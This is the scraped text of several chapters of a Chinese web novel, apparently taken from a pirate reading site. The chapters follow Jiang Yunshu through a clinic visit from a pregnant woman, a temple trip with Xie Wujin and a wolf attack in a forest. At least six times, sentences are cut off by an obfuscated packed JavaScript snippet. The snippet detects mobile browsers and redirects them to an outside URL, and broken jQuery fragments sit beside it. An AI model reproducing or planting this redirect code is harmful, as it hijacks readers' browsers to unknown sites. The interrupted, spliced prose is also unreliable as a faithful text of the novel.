“此时正值季节交替,京中多发咳症,这银子便用来发放治疗咳症的药包,有需要者,尽可进店里诊脉之后免费领取。” 说着,姜云舒转手将银子交给韩掌柜。 众人愣了一瞬,随即欢呼声起。 “县主心怀大义!” “县主真乃当世女菩萨啊!” 众人欢呼之中,七公主被挤在了外面,她满脸不屑,可是看着百姓发自内心地对姜云舒跪拜,心中的嫉妒不可压制地蹭蹭往上窜。 “哼,不过一百两银子,至于嘛,还敢说是菩萨!”七公主没好气。 “不过一百两?七公主可为百姓花费过一两?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230123|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 声音自身后传来,七公主扭头,就见裴钰和庄心悦走了过来。 “我看不惯的是姜云舒,与你有何干系!”七公主没好气瞪他。 “我说的也是姜云舒,七公主口口声声贬低这一百两,你可知道,两个月前,京城险些爆发疫病,是姜云舒将灾民转移到城外,这才扼制了疫病的传播,那两个月,也是仁春堂在免费发放预防疫病的药剂,那个时候,受百姓供奉的七公主,你又为百姓做了什么?” 裴钰脸上的笑意逐渐沉了下来。 七公主被结结实实噎了一句,张张嘴却说不出一句话来。 她在做什么?她和五公主抢夺海虞国进宫的珍珠,被母后责罚禁闭三日。 可那又如何,她可是公主,她是一朝天子的女儿,本就应该享受这些! “哼,说到底还不是因为药王谷供药,若是没了药王谷,我倒要看看她还怎么得意!” 狠话放完,七公主怒气冲冲的转身就走。 裴钰和庄心悦朝着七公主离开的方向“哼”了一声,转身朝姜云舒走过去。 “你们怎么过来了?”姜云舒朝两人招招手。 自从崇光寺回来之后,裴钰就开了窍,三天两头往太师府跑,不过平常两人更喜欢去的是明月楼,这一大早就来人仁春堂的倒是不多见。 “是祖母,上次用过你送过来的归心丸之后,说是心口发胀的感觉没有了,整个人也轻松了,这不,裴钰赶着献殷勤,一早便拉着我过来找你。” 说着,她压低声音往姜云舒跟前凑了凑,“你自己还有存着的吗?” 姜云舒眨眨眼睛,朝裴钰看去。 啧,嫁出去的傻小子泼出去的水,把自己的底儿都给掀了。 “你要的话,自然是有的,不过余的不多,只剩三丸了,所幸荣三爷还在京城,回头我去找他。” “那我便占你这便宜了!” 庄心悦眨眨眼睛,又要说话,余光瞥见门外进来一人,她下意识扭头,看清楚来人,当即眼睛瞪大。 “高芝兰?你来做什么,这里不欢迎你!”说着,就要往外赶人。 第214章 渊政王也是嫌疑人 “庄二,别推她!” 姜云舒见庄心悦手上没轻重,紧忙过去拦。 庄心悦听姜云舒言语紧促,被吓了一跳,随即瞧见高芝兰下意识护在肚子上的动作,当即明白过来。 “哼,有了身子还往这里跑,高芝兰,你怕不是来碰瓷的吧!” 庄心悦依旧没好气瞪着她。 沈家人,没一个好东西,除了沈清安,这个“原配”也不是个东西! “我,我只是来找姜云舒……” 高芝兰捂着肚子后退两步,下意识解释,可又意识到这事儿不能多说,索性闭上了嘴巴,一脸求助的看向姜云舒。 姜云舒有些无奈。 “好了,这边我会处理,你们拿了归心丸就回去吧。”说着,她朝月禾递了个眼神。 月禾转身进了里面拿药。 “姜云舒,你怕是忘了之前他们沈家怎么挤兑你了?都已经离开那个狼窝了,你该不会还想着给狼喂食吧!” 庄心悦恨铁不成钢的瞪着姜云舒,“亏我还以为你终于明白过来了!” 她倒也不是什么嫉恶如仇,就是见不得姜云舒这样窝囊。 说话的功夫,月禾已经将药拿了过来,姜云舒递给庄心悦,推着他们往外走。 “我有分寸,你快走吧。” 庄心悦依旧不甘心地交代,“我跟你说,你可别犯糊涂,狗改不了吃屎,你……哎哟,裴钰,你拽我做什么!” 声音随着两人脚步越来越远,隐约之中,还听到裴钰说了一句“谁能比姜云舒还狗”,庄心悦的声音跟着小了,俩人嘟嘟囔囔狗狗祟祟的拐到了街角,拐过去时,庄心悦还回头看了一眼。 等他们的身影彻底消失,姜云舒这才转过身来。 “坐。”她朝高芝兰摆摆手。 高芝兰虚坐下来,不等姜云舒问,主动开口。 “姜,县主,我这次过来,是求你帮我。” 话刚出口,她的眼眶就红了,缓了一下,深吸一口气,这才开口。 “之前在沈家当值的杨大夫,如今去了海棠巷当值,那位郡主肯定是有了身孕!而且,我让人验了他上次给我开的药渣,其中果真有落胎成分,他果真对我出手了,如今南疆王府要进京,我这个孩子怕是要保不住了!” 她越说,声音都带了颤抖。 姜云舒看她,到了这个时候,她还心心念念要为沈清安生下这个孩子,值得吗? 别人不能替高芝兰下结论,姜云舒也不多说。 “药渣你带过来了吗?”姜云舒问。 “带了,带了的。” 说着,高芝兰站起身来,从衣服里掏出一个小包,小包拿出来,药味瞬间在房间里散开。 “月禾,你将这药渣拿给姜大夫看看。”姜云舒道。 “是!” 月禾接了药渣转身往外走。 “喝点茶吧。” 姜云舒抬手倒了两杯茶,一杯推到高芝兰面前。 高芝兰正想说不喝,低头看到是红枣茶,一时间,紧张的神情缓和了几分。 “你比我认识沈清安更早,他有多薄凉你应该更清楚,事情到了这个份儿上,你还要留下这个孩子?” 她抬眸看高芝兰一眼,换了问法,“亦或者说,你还要留在沈家?” 高芝兰楞了一下,抬头看向姜云舒,“不在沈家,我能去哪儿呢,我要怎么活呢?” 离开沈家,且不说肚子里这个,他们肯定不会让她带走沈长元的,母子分离,对于高芝兰来说,痛如剜肉。 姜云舒看着她,轻轻地叹一口气,“南疆王府,高门贵胄,郡主出逃尚可算她任性放肆,可一旦有了孩子,这便是家族辱没门楣的脏事,为了家族脸面和声誉,一个孩子又算什么呢?” 高芝兰突然抬头,张张嘴,一时间不知说什么。 她为了自己能在沈家站稳脚跟,努力开枝散叶,可对于那位郡主来说,这所谓的孩子反而是门庭的污点。 姜云舒将她脸上逐渐散开的惊恐收进眼底,又道:“一个孩子都不算什么,那你猜猜,沈清安这个始作俑者又会如何?南疆王会容忍一个败坏南疆王府全家名声的罪魁祸首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230124|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 如今沈清安将事情逐渐明面化,他是想逼着南疆王府认下他这个孩子的生父,可他却忘了,南疆王府并不是寻常百姓家,让他这个生父消失的方法有很多。 沈清安来自民间,自然不懂深宅高门之间的利益关联,有些事情,并不是有高枝就能攀的。 有句话说的好,站得高摔得狠。 高芝兰细细琢磨着姜云舒的话,片刻,她似乎想明白什么,此时看向姜云舒的视线中,更多了几分惊恐。 她起身,双膝弯曲跪在姜云舒跟前,“不管是长元还是腹中的孩子,他们都是我的血肉,在沈家败灭之前,我要留在沈家,还请郡主救救我们母子!” 她自己没有能力护住两个孩子,可如今她对于姜云舒还有几分价值。 姜云舒抬手,给自己杯盏续满,垂眸看着高芝兰,幽幽开口,“所以,你的筹码呢?” 大家都是聪明人,利益是相互交换的。 高芝兰抿了抿唇,道:“昨日我去相公书房送点心,听到他说那位大人最近也要来京城。” 说着,她抬起头看向姜云舒,“会不会是南疆王?” 皇权贵胄,常年在京城之外,南疆王的确很符合现有的信息。 姜云舒抬手将杯盏放在桌上,无声地勾了勾唇角,“你也说了,那背后之人能用沈家满门的性命威胁沈清安,你觉得,沈清安会胆子大到去动南疆王府的心思吗?” 更何况,南疆王府本就没有郡主,若沈清安听命于南疆王,不可能不知道这一点。 高芝兰蹙眉不语,似是想了想,才又开口。 “听相公透露,当初那位大人似乎给了他一块令牌。” 令牌,姜云舒倒是从沈清安的密室中找到过一块令牌,北夷皇室的令牌。 她心里正想着,就见高芝兰从身上掏出一块令牌,递到她面前。 姜云舒原本并没有多大兴趣,谁知抬头的瞬间,眸光一滞。 “你确定这是那人给沈清安的令牌?” 那令牌她再熟悉不过,是赤羽令的令牌。 第215章 你若有怀疑,就去查 “没错的,我在门口听得清清楚楚。”高芝兰斩钉截铁。 姜云舒却紧紧地蹙起了眉心。 赤羽军的前身,是皇上做王爷时手中掌握的精兵,当年北夷边境混战,对抗北夷的将帅之中,除了父亲和渊政王,还有一位敬王。 依照高芝兰传来的消息,除了父亲,渊政王和那位敬王都符合。 可到底是谁,如今的消息有限,姜云舒依旧无法判断。 不管是谁,这对于父亲来说,都是致命的痛击。 正想着,门外传来敲门声,是姜大夫。 “县主,这药渣已经检验过了,的确有几位药材有问题。” 说着,姜大夫将药渣之中有问题的药一一摆放在桌上,逐个介绍。 高芝兰看着一根根黑褐色的草药,脸色越来越难看。 “既然你决定留在沈家,旁的话我也不多说了。” 姜云舒将杯盏落在桌上,“之后我会给你配一位会武功的女医,足以保证你和胎儿的安全。” 话音落,一个身着布衣,丫鬟装扮的女子走了出来。 “谢,多谢郡主!”高芝兰紧忙磕头。 将高芝兰送走,姜云舒看着手里的令牌,心情不可控制的往下沉。 可有些事情只是自己空想并没有用。 片刻,她放下令牌,转身朝门口喊了一声。 “月禾,备马车,我要去一趟明月楼。” 有些事情,或许谢无烬那里能有答案。 一炷香后,姜云舒到明月楼时,谢无烬已经在她的水云间等着了。 “听说你一大早便去了仁春堂,可是有什么事?”谢无烬给她倒茶。 “仁春堂没什么事,但我来找你有事。”姜云舒道。 “难得你过来找我,说吧,什么事都答应你!”谢无烬朝她眨眨眼睛。 “谢无烬,你陪我去一趟崇光寺吧,我想去给供奉的灯添油了。”姜云舒的语气有些低沉。 谢无烬见她情绪低落,面上笑意随着收敛。 她是不是想父母了? **,只能先哄着,“好,我陪你去。” 他们没有乘坐马车,而是各自选了一匹马。 出了城门,姜云舒猛地一拉缰绳,红枣色的骏马嘶鸣一声,朝着崇光寺的方向飞奔而去。 谢无烬就在后面不近不远地跟着他,瞧着她在马背上的肆意身影,似乎又回到了那年在北域的光景。 骑马比马车快了很多,半个时辰后,眼前已经是崇光寺的山脚下。 两人将马牵到马厩,走路上山。 一边走着,姜云舒侧目看向谢无烬,迟疑瞬间,还是开了口。 “谢无烬,你为何甘愿来京城做质子?” 明明是战场上率领千军的领将,只因为一道圣旨,便要卸甲入城,与京中纨绔混为一谈。 不,不只是纨绔,众人更多关注的是他曾经屠城的恶行,便是他功勋傍身,在百姓眼里,依旧是**的活鬼阎罗王。 谢无烬不是从哪里抽了一根狗尾巴草,正不着调的叼在嘴里,听得姜云舒问,抬手将狗尾巴草拿掉。 “因为合适。” 合适,鸟尽弓藏,如今渊政王府镇守的边境安定,皇上便开始忌惮渊政王府,只有谢无烬卸掉兵权回京做废物,才能让皇上安心。 这个理由,让姜云舒有种堵心的感觉。 她蹙了蹙眉,又问,“虽说西晋边境安稳多年,可其中很大原因是因为你和渊政王共同镇守,将你抽离边境并非明智之举。” 当今皇帝,最擅长的便是用人,对于他来说,有价值的人,永远都在他的选用名单之中,就连姜云舒自己也是一样。 “但是,我回京足以安皇上的心。” 谢无烬笑着,唇畔之间看似不以为意,却隐约带着几分说不上来的无奈。 “你不怨恨?”姜云舒几乎时下意识开口。 问完,她自己都有些后悔,这些话,不应该出口的。 然而,谢无烬却只是一瞬间的凝滞,随即,唇畔又漾开与往常无异的笑。 “姜云舒,你这是在心疼我啊?”他倏地靠过来。 姜云舒下意识往后退了一步,不与他对视,“我只是觉得,你很憋屈。” 都是在战场上挣命之人,当初父亲隐瞒她的战功不报,她还觉着憋屈,更何况是谢无烬。 似乎是走累了,谢无烬往前一步,倏地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16238086|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧身,坐在那一片柔软的草丛之中。 “挺好的,京城之中没有战争,京城,有你。” 他半眯着眼睛看向姜云舒,明媚的阳光照在他身上,仿若为他披上了万丈光芒。 姜云舒站在原地,恍惚之间,感觉眼前这般场景曾经出现过,只是不知是从前还是在梦里。 凝神片刻,她收回视线,往前走两步,顺着谢无烬的位置也坐了下来。 “如果,如果当初我们两家势如水火,你对我还会这样执着吗?” 她同样半眯着眼睛,迎着阳光看去,刚才的话似漫不经心出口。 谢无烬用狗尾巴草编着什么,闻言动作停顿。 “姜云舒,你是不是听到了什么?”他面上的玩味收敛。 姜云舒抓着草的手不着痕迹的用力。 果然,他知道什么。 她没抬头,只是眼皮动了动,情绪在一瞬间翻涌,此时,她发现有些话竟然问不出口。 见她眼中迟疑,谢无烬似是猜到了她来崇光寺这一趟的意义,抬手扔掉狗尾巴草,朝她靠近几分。 “当初姜叔叔的信是在密室中被查出,他身边之人皆有嫌疑,而我父王便是出入姜叔叔书房最多的外人,你怀疑也没有错。” “你……” 姜云舒猛然抬头,下意识要否认,却被谢无烬压住肩膀。 “你先看看这个。” 说着,他从衣服里拿出一封书信,与其说是书信,不如说是一张单子更为合适,上面密密麻麻写着的都是人名。 “这是什么?”姜云舒看他。 “上次你家人在崖州**后,父王便暗中在石场安排了人保护你家人,这是人名单,以便我日后去崖州时调动。”谢无烬解释。 姜云舒原本差异的眼神之中更多了几分震惊。 且不说渊政王背地里在崖州安排了人,谢无烬什么时候要去崖州? 所以,之前他说要带她去崖州,并不是哄她开心,而是真的有所准备? 姜云舒看着满页纸的人名,眼神闪烁,尚且来不及开口,就见谢无烬转手又将信收了起来。 “人名单说明不了什么,你若有怀疑,就去查。”他说。 第216章 深林遇险 姜云舒仰头看着谢无烬,惊讶的目光之中,看到的却是他含笑的模样。 “你……” 她一时不知说什么。 就算父子关系不好,可那也是他的父亲。 姜云舒不认为谢无烬是一个满脑子情爱之人。 “好了,再不走,等添完灯油天都要黑了。” 说着,他伸手将姜云舒拉了起来。 上山的路并不难走,姜云舒和谢无烬一路不紧不慢的走上崇光寺,门口小沙弥上前迎了过来。 “阿弥陀佛。” 小沙弥上来打招呼。 姜云舒虽来京城才三年时间,对于崇光寺已经算数熟悉的面孔了,尤其此前下棋赢了长明大师,之后每次来,长明大师便要跟她下一盘。 听得姜云舒和谢无烬要添香油,引着往里走。 姜云舒先给姜家供奉的长明灯添了油,又随着谢无烬往偏院去。 他是要为那位“香茗”添油。 到了偏院,姜云舒下意识停在门口准备等着,谁知她刚停下,谢无烬又回过头来拉她的手。 “我……” 姜云舒顿了一下,“我进去不合适吧。” 她不知里面供奉的排位是谁,更不知她和谢无烬的关系,怎么好贸然进去上香? “没什么不合适。” 谢无烬不由分说,拉着她进了大殿。 到了大殿,姜云舒跟着谢无烬上香时才认出,那牌位是描了金边的。 牌位描金边,在家族之中,多少是有些地位的,可她的牌位又偏偏供奉在偏殿,还是在远离渊政王府的京城,姜云舒一时不解。 立于人家牌位面前,姜云舒压住满腔的疑惑,接过谢无烬带来的香。 两人上完香,又见谢无烬又从腰间掏出一张信纸,用火引燃。 和之前给她看的人名单的纸是一样的,点燃的这一封却不是人名。 姜云舒看着那封信燃尽,随着谢无烬往外走,离开大殿,不等姜云舒问,谢无烬先开口。 “她,对于我来说,是一个很重要的人。”他的声音有些低沉。 姜云舒扭头又朝里面看一眼。 “‘香茗’,很美的名字,她一定是个很漂亮的人吧!”她说。 “应该很美吧,但我不知道她长什么样子。”谢无烬朝她弯了弯唇角,只是笑容看起来有些苦涩。 姜云舒顿住,那么重要的人,甚至为她在崇光寺立了牌匾,供了长明灯,却没有见过。 难不成,是笔友? 想到儿时,姜云舒也曾写了信塞进天幕崖的石缝里,然后,过了几天再去,石缝里的信已经替换成了别人的回信。 她也曾偷偷想去看看给她回信的究竟是什么人,可也不知是那人太过警惕,还是她运气不够好,一直都没有见到那个人。 当初,他们的最后一封信,是那人的告别信,姜云舒还难过了许久,如今看谢无烬这般,想来那个人对他的影响更大。 想到这些,姜云舒忽然有种说不上来的感觉,这感觉不算好,似乎心口被什么东西蒙着,有些闷。 谢无烬的情绪看起来也不高,回去路上,两人都没说话。 夕阳西落,晚霞映照天地,许是傍晚的精致太过美丽,两人不约而同选择了另一条迎着夕阳的山路。 山路崎岖,却格外美丽,两人齐驱并进,追着晚霞一路往前,不知不觉,竟来到了七邙山。 七邙山是深林,其中不乏凶兽猛禽,常有周边百姓被野兽袭击,若是平常,她是不会选择这条路的,可如今谢无烬在身边,她便一时间松懈了。 等到回过神来,才意识到放松了警惕,扭头朝谢无烬喊一声。 “夜间七邙山不安全,我们……” “嗷呜……” 姜云舒的话还没说完,就听远处传来狼的嚎叫声。 谢无烬脸上笑意收敛,猛地拉紧缰绳到姜云舒身边。 “此地不宜久留,快走!” 姜云舒点头,拉紧缰绳,却在双腿就要夹住马肚子时,听到深林之中传来一声惨叫。 有人! 听那声音,和刚才野狼嚎叫的声音很近,怕是被袭击了。 “谢无烬。” 姜云舒扭头看他,说话的功夫,手中已经搭在了腰间。 作为守护边境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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漂亮的男人 “还能动吗!”姜云舒又问一声。 “啊,能,能的!” 那人迅速回神,动了动腿,挣扎着想要站起来,结果身子一晃,又摔在了地上。 他的脸色惨白,腿上的伤已经将衣摆整个浸透成了红色,看来是因为失血过多,没了力气。 姜云舒也不等他再证明,上去一把将那人拽起来,抗在身上。 “跟我走!” 她抬脚就走,完全没注意到身上那人震惊的目光。 战场之上,她不知背过多少受伤的战士,此时背上这人可比一般的士兵要轻很多,军队与姜云舒来说,不算什么。 两人刚走几步,身后再次传来灰狼的嚎叫声。 那声音似乎带着风一般,紧接着一股热浪朝着姜云舒的方向扑过来。 姜云舒身上还抗着一个人,快步几个闪身躲过,扭头的瞬间,就见那灰狼张开爪子又朝谢无烬扑了过去。 “嗷呜——” 又是一声嚎叫,灰狼比刚才的速度更快朝谢无烬的方向奔去,前面的两只爪子对准着谢无烬,准备随时落在他身上。 刚才远远看,只知道那灰狼的体型硕大,如今他张开前爪几乎站起来才有实感的体会到,那庞大几乎是黑熊的体型! 她得跟谢无烬打配合! 姜云舒快行几十米,将那人放在远处隐蔽的大树后面。 “这是金疮药,你自己处理一下,在这里等着别动。”快速交代完,姜云舒转身就回去了。 “畜生,你找死!” 姜云舒大喝一声,手中长鞭在空中扬起。 灰狼似乎预知到了危险,忽然一个闪身侧过,躲开姜云舒的鞭子,然而,就在它刚落地的瞬间,就听“噗”的一声,什么东西从它的脖颈处没了进去,血顺着脖颈处的皮**很快染红了一小片。 谢无烬猛然转过身,瞪大眼睛看向姜云舒。 那眼神之中是震惊也是怀疑。 以姜云舒的作战经验,应该明白,这种程度的伤害对于灰狼来说,伤害并不大,反而会激怒它。 果然,下一瞬,那灰狼的吼叫声中多了几分凄厉,那双阴翳的兽眼之中似乎带着嗜血的怒意,就要朝着姜云舒冲过来。 “阿舒,闪开!” 谢无烬惊呼一声就要冲过来,然而,下一瞬,却见那嗜血怒张的畜生身体晃了晃,随后“扑通”一声摔在了地上。 “这……”谢无烬一脸震惊看看地上的灰狼又看看姜云舒。 怎么回事? “麻醉剂,师父给我的保命暗器。”姜云舒抬起手,得意地朝谢无烬扬了扬她的腕**。 谢无烬松了一口气,收剑入鞘,走到姜云舒身边。 “刚才可有受伤?”他问。 “没有,我刚才躲得及时,还将那人……” 想起那人,姜云舒紧忙往回跑,到了那藏人的大树边上,就见他正往伤口上撒药。 他倒是挺听话的,让自己照顾自己,一点都不给添乱。 此时再瞧这人,一身名贵的锦缎衣裳,头上发冠也是上好的白玉,就连靴子上也坠了一颗大大的翠玉,一眼便知非富即贵。 再往下看,虽然腿上受了伤,可此时伤口处理之后,露出的一截腿,啧,可真白! 姜云舒瞧着,忍不住抿了抿唇角。 谢无烬也跟着过来,一眼就瞧见姜云舒的眼睛盯在人家露出的腿上,当即脸色一黑,拽着她的衣领子扯到后面。 “哎,你别拽……” 姜云舒忽然出声,那人吓了一跳,下意识拽住衣角将腿盖上。 “方才,多谢你们的救命之恩。” 那人起不来,便朝姜云舒和谢无烬点了点头。 “应该的。” 姜云舒从谢无烬身后探出头来,朝那人摆摆手,“你是什么人,为何这么晚了还在这么危险的地方?” 她一遍问着,视线又落在那人的脸上,这五官……得用“漂亮”,英俊之中透着柔和,只是一开口,便让人觉得很温暖又舒心。 见姜云舒又盯着人家的脸看,姜云舒下一吃蹙了蹙眉,给她一个警告的眼神。 这时,就听漂亮公子又开口。 “我是来京城省亲的,路过这里跟家人发生了争执,便自行下了马车,谁知竟不知不觉进了这深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247564|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林,我……” 后面的话没说,但是意思已经很清楚了,他迷路了。 “如今天色已晚,其不说这七邙山中的野兽,便是遇上什么不轨之人,你一个受了伤的也没有反抗的余地,左右你也是进京省亲,不如我们带你一程。”姜云舒提议。 谢无烬蹙了蹙眉却没说什么,的确如姜云舒所说,将他留在这里,他怕是连保命的能力都没有。 “不,不用麻烦了,我已经给家人发了信号,他们跟着我的信号,很快就能过来找到我。” 说着,他抬手从身上摸了摸,最后拿出一个锦盒,朝姜云舒跟前递了递。 “两位的救命之恩,在下无以为报,眼下身上只有这个作为谢礼,还请姑娘不要嫌弃。” 说着,他自行将锦盒的盖子打开。 姜云舒低头看一眼,里面是一颗粉色的,闪着荧光的珠子,她没见过,但看起来很漂亮也很名贵的样子。 “这时海螺珠,南云国那片海域里才有的东西,比珍珠都要稀少。”他解释一句。 “比珍珠还要贵重的东西,想来你是准备送给亲人的,给我不太合适吧。” 姜云舒抬手往回推了推,就在说话的功夫,低头瞧见那人衣袖上的图案,她眸光一滞。 “你的衣袖……” 她下意识开口,话还没说完,那人忽然紧张地收了回去。 “方才与灰狼纠缠时,弄到了血迹,别污了姑娘的眼睛。” 姜云舒瞧着他,不由得想笑,刚才可是她将他抗出来的,哪里就那么矫情了,还污了她的眼睛。 眼瞧着他不着痕迹的将显露出来的图案盖住,姜云舒还想追问,却被谢无烬拉住。 “此时总不能留在森林中,你要去哪里,我们带你过去。”谢无烬道。 “如果可以的话,就请二位将我放在官道便可,届时我的家人回来接我。”漂亮男人朝谢无烬扯了扯嘴角,露出一个笑。 谢无烬身上的压迫感太重,让他下意识紧绷起来。 “好。” 谢无烬应一声,朝那男人都过去,正要伸手,却见男人吓到一般,往后挪了挪。 第218章 他衣袖上的图徽 “我已经好多了,自己可以走!”漂亮男人紧忙往后退。 虽然腿上的伤的确疼的厉害,可是他终究是不习惯被人扛着。 尤其,这样亲密的身体接触若被那位看见,恐怕要更麻烦。 谢无烬看他一眼,收回了手。 不用更好,他可不像姜云舒那般热情。 漂亮男人从地上捡了一根树枝,撑着站起来,许是休息了一会儿,此时有了力气。 姜云舒见他能站稳,便也没再说,转身朝树林外走。 片刻,三个人从树林之中出来,此时天色已经黑了。 秉持着救人救到底的原则,姜云舒和谢无烬陪着那人在官道上等。 正如那人所说,很快便有家丁找过来。 见漂亮公子受了伤,家丁吓得脸都白了,面上带着死到临头的惊恐。 “不过是皮外小伤,已经用过药了。”漂亮公子开口。 下人回过神来,紧忙千恩万谢给姜云舒和谢无烬磕了头,小心翼翼地带着他走了。 姜云舒的视线随着那漂亮公子,脸上的笑意逐渐收敛,等他们走远,她转脸看向谢无烬。 “你方才为何要拦住我?你没有看到他衣袖上的图徽?” 当初在沈清安密室里搜出来的,除了北夷皇室的令牌,便是一个徽章,而那男人衣袖上的图案,和之前那徽章上的图案极为相似。 “我知道你想说的是什么,但是图徽这种东西,差之毫厘相去千里。” 谢无烬将拴马的缰绳递到她手里,“相比之下,我更在意的,是他那张动过的脸。” 姜云舒顿了一下,随即认同地点头。 “虽然看起来痕迹并不明显,但从骨相分辨,他的右脸是修整过的,若没猜错,他那一侧的脸应该受过伤,除了脸,他还受过很重的内伤。” 姜云舒曾和薛神医学过易容术,脸上动过分毫她都能看得出来,至于内伤,便是刚才她看着那人往外跑时,抓着他的手腕试探而知。 这些信息凑在一起,姜云舒蹙着眉想远了。 见她拧着眉头又想不明白,谢无烬抬手在她肩膀上拍了拍。 “既然他是回京省亲,再遇到并不是什么难事,届时你想知道什么,总有机会调查。” 到时候,便是没有那么多巧合,那就制造巧合。 …… 时间说快也很快,眼看着到了下月的初一,一年一度的凤台山狩猎节终于到了! 京城之中,七品以上的官员,都要随行出猎。 姜云舒如今是乐安县主,自然要参加的,而薛神医受皇后邀请,也随着一同前往。 清早,月禾和白芷便收拾好了出猎的行头,送上了马车。 姜云舒也比往常醒的更早,她一身鹿皮小骑装,打磨上色之后,比一般的牛皮轻便许多,腰间一条宽宽的蛇皮束带,装饰一颗耀眼的红色宝石,短短的牛皮小靴,精致轻巧,明明颜色低调,却还是让人一眼注意到。 收拾好,她便早早来到依梅院,此时薛神医也已经换好了出行的装备。 “啧,往常总见师父衣着朴素,如今装扮起来,比那深宅贵夫人还要明媚几分,不愧是师父!”姜云舒拉着薛神医的衣袖称赞。 “你呀!” 薛神医在她脑门上点了一下,“我本就是不喜热闹的性子,你尽管猎你的,可别拽着我一起。” 以前在北域,姜云舒可没少拽着她四处跑,说是陪她采药,结果一路拽着她打猎到晚上。 “是是是,这次一定听师父的。” 姜云舒靠在薛神医身侧,哄她,“等徒儿猎到红狐,给师父做一条围脖,冬天师父低头配药时就不冷了。” “好。” 薛神医拍拍姜云舒的手,跟着往外走。 县主府外,月禾和冥风已经在外面等着了。 姜云舒和薛神医上车,随着马夫一声鞭响,马车晃晃悠悠动起来,朝着恭王府的方向飞奔而去。 众人都是在宫外**,县主府和恭王府要一路去的,便自行汇合之后一起出发。 凤台山狩猎节,在皇都来说很重要的节日,一大清早,整个皇都笼罩在一片彩带飘飘的景象之中。 自皇宫玄德门开始,十里红帐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247565|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直铺到了长安街,长安街两侧原本热闹繁忙做买做卖的商户今日一律关门停业,只为迎合这让人热血涌动的狩猎活动。 一整条街道上,每隔一张便有一面彩旗,金色绣线绣成一个大大的“天”字寓意天朝,彩旗随风发出哗啦哗啦的响声,更是映衬了这热闹的场景。 一行队伍浩浩汤汤出发,队伍最前面是庆王带领的身着金甲手持**的开路军,紧接着是宫女太监前后簇拥着皇上皇后独坐的龙辇,随着队伍经过街道,皇上皇后接受百姓**。 紧跟着往后,便是朝中王公贵族重臣权贵以及家眷亲属的马车,每辆马车周边都是自家男子骑马相随,出猎随行之人众多,马车如长龙摆尾一般,远远看不到头。 薛神医也是多年未回京城,此时透过车帘看向往外面,眼前所见,似是勾起往年旧事,有开心的也有不愿再提及的。 悠长的路途也不算是无聊,晌午刚过,队伍从入山口进,往里缓行半个时辰,终于到了营地。 每年的开猎节都是在凤台山,营地也建了临时居住的宅子,虽不及家中舒坦自在,却比搭建的营帐要好许多。 整队在营地边缘处停下,各家亲眷夫人小姐纷纷下车步行往里走,下人们在管事太监处领取了自家的院子牌,归置东西,一时间,本来平静的深山森林中热闹起来。 颠簸了一路,薛神医有些疲惫,便在营帐之中歇息,月禾留在帐篷里收拾东西,姜云舒则出来四处走动。 不得不说,凤台山不愧被称为京城的后花园,目光所及,皆是视觉盛宴般的美景。 